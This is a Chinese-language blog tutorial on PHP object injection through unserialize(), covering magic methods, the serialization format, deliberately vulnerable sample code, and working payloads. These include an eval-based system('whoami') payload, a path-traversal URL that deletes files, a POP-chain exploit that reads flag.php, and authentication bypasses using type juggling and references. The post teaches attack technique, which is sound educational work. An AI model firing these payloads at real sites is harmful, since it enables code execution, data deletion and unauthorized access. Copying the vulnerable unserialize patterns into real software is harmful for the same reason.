PHP Object Injection(对象注入)

PHP对象注入是一个应用程序级别的漏洞,根据上下文,该漏洞可能允许攻击者执行不同种类的恶意攻击,例如代码注入,SQL注入,路径遍历和应用程序拒绝服务。 如果在将用户提供的输入传递给PHP函数unserialize()之前,未对用户提供的输入进行正确的检验,则会发生此漏洞。 由于PHP允许对象序列化,因此攻击者可以将临时序列化的字符串传递给易受攻击的unserialize()调用,从而将任意PHP对象注入应用程序范围。

PHP常用魔术方法

  • __construct() : 具有构造函数的类会在每次创建新对象时(实例化)先调用此方法,初始化工作执行。
  • __destruct() : 析构函数,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
  • __sleep() : serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被反序列化的变量名称的数组。
  • __wakeup() : 与__sleep() 相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup(),预先准备对象需要的资源。作用例如:重新建立数据库连接,或执行其它初始化操作。
  • __toString() : 用于一个类被当成字符串时应该怎么回应,例如 echo $obj; 时应该显示什么。
  • __get() : 获得一个类的成员变量时调用。
  • __set() : 设置一个类的成员变量时调用。
  • __invoke() : 调用函数的方式调用一个对象时的回应方法。
  • __call() : 在对象中调用一个不可访问的方法时,__call() 会被调用。
  • __callStatic() : 在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。

__call()__callStatic() 是对方法的重载,参数为($name, $arguments)$name参数是要调用的方法名称,$arguments参数是一个枚举数组,包含着要传递给方法 $name 的参数。

详细见文档

当然也可以看我的另一篇有关 Wrapper Phar://博客

为了成功利用PHP对象注入漏洞,必须满足两个条件:

  • 该应用程序必须具有一个实现PHP魔术方法的类(例如__wakeup__destruct),该方法可用于进行恶意攻击或启动“ POP链”。
  • 在攻击中使用的所有类都必须在调用易受攻击的unserialize()时声明,否则此类类必须支持对象自动加载。

反序列化格式:

1
2
O:4:"Test":2:{s:1:"a";s:5:"Hello";s:1:"b";i:20;}
对象类型:长度:"名字":类中变量的个数:{类型:长度:"名字";类型:长度:"值";......}

类型字母:

1
2
3
4
5
6
a - array                  b - boolean  
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string

当变量为 privateprotected时,变量会多两个字节,这是因为对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上*。这些前缀值在任一侧都有空字节。

__wakeup() in the unserialize function

unserialize() takes a single serialized variable and converts it back into a PHP value.

If the variable being unserialized is an object, after successfully reconstructing the object PHP will automatically attempt to call the __wakeup() member function (if it exists).

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
class PHPObjectInjection{
public $inject;
function __construct(){
# nothing todo here
}
function __wakeup(){
if(isset($this->inject)){
eval($this->inject);
}
}
}
if(isset($_REQUEST['hz'])){
$varrr=unserialize($_REQUEST['hz']);
if(is_array($varrr)){
echo "<br/>".$varrr[0]." - ".$varrr[1];
}
}
else{
echo ""; # nothing happens here
}
?>

比如我们想执行 whoami 指令,我们构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
class PHPObjectInjection{
public $inject = "system('whoami');";
function __construct(){
}
function __wakeup(){
if(isset($this->inject)){
eval($this->inject);
}
}
}

$exp = new PHPObjectInjection();
echo serialize($exp);
?>

可以得到 Payload:

1
O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}

此时我们可以看到输出执行 whoami 后的结果。

__destruct() in the unserialize function

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Example1
{
public $cache_file;

function __construct()
{
// some PHP code...
}

function __destruct()
{
$file = "/var/www/cache/tmp/{$this->cache_file}";
if (file_exists($file)) @unlink($file);
}
}

// some PHP code...

$user_data = unserialize($_GET['data']);

// some PHP code...

攻击者可能能够通过路径遍历攻击删除任意文件,例如,请求以下URL:

1
http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}

__toString() in the unserialize function

使用”POP链” 执行SQL注入攻击,例如通过利用__toString方法

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Example3
{
protected $obj;

function __construct()
{
// some PHP code...
}

function __toString()
{
if (isset($this->obj)) return $this->obj->getValue();
}
}

// some PHP code...

$user_data = unserialize($_POST['data']);

// some PHP code...

POP链的寻找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
//flag is in flag.php
error_reporting(1);
class Read {
public $var;
public function file_get($value){
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}

class Show{
public $source;
public $str;

public function __construct($file='pop.php'){
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}

public function __toString(){
return $this->str['str']->source;
}

public function _show(){
if(preg_match("/https/i", $this->source)){
die("hacker");
}else{
highlight_file($this->source);
}
}

public function __wakeup(){
if(preg_match("/https/i", $this->source)){
echo "hacker";
$this->source = "pop.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['q'])){
unserialize($_GET['q']);
}else{
$show = new Show('pop.php');
$show->_show();
}

先理一理关系,我们既然要读 flag.php ,那就需要找到读文件的地方,比如 Show 类里面的 highlight_file()Read 类里面的 file_get_contents(),很明显这里需要用到 file_get_contents(),要用到这个函数,前提是调用 file_get() 函数,这样就可以知道需要触发 __invoke(),这个魔术方法是当以调用函数的方式调用一个对象时的回应方法,我们可以跟到 Test 类里面的 __get() 函数,这个魔术方法又是读取不可访问属性的值时会被调用,我们可以来到 Show 类的 __toString() 函数,这里是调用了 str 这个数组里 key 为str 的值,也就是 source,那么将它指向 Test 类,让它可以触发 __get(),好了,既然触发了 __toString 那就是这个类在某处被当作字符串使用,在 preg_match() 函数里可以看到,这里 source 是会被当成字符串执行,也就是在 __wakeup() 里。这样 pop链就是 Show->__wakeup()->__toString->Test->__get()->Read->__invoke()->file_get()

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Read {
public $var = "flag.php";
}

class Show{
public $source;
public $str;
}

class Test{
public $p;
}

$a = new Show();
$b = new Test();
$c = new Read();

$b->p = $c;
$a->str['str'] = $b;
$a->source = $a;

echo serialize($a);
//O:4:"Show":2:{s:6:"source";r:1;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"Read":1:{s:3:"var";s:8:"flag.php";}}}}
?>

传参进去即可。

Authentication bypass

Type juggling

源码:

1
2
3
4
5
6
7
8
<?php
$data = unserialize($_COOKIE['auth']);

if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
$admin = true;
} else {
$admin = false;
}

因为 true == "str" is true.

所以我们传布尔值即可:

Payload:

1
a:2:{s:8:"username";b:1;s:8:"password";b:1;}

Object reference

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Object
{
var $guess;
var $secretCode;
}

$obj = unserialize($_GET['input']);

if($obj) {
$obj->secretCode = rand(500000,999999);
if($obj->guess === $obj->secretCode) {
echo "Win";
}
}*/
?>

exp:

1
2
3
4
5
6
7
8
9
10
11
<?php
class Object
{
var $guess;
var $secretCode;
}

$a = new Object();
$a->guess = &$a->secretCode; //令guess为指向secretCode的指针
echo serialize($a);
?>

Payload:

1
O:6:"Object":2:{s:10:"secretCode";N;s:5:"guess";R:2;}

PHP Object Injection(对象注入)
https://52hertz.tech/2020/02/26/PHP_Object_Injection/
作者
Ustin1an
发布于
2020年2月26日
许可协议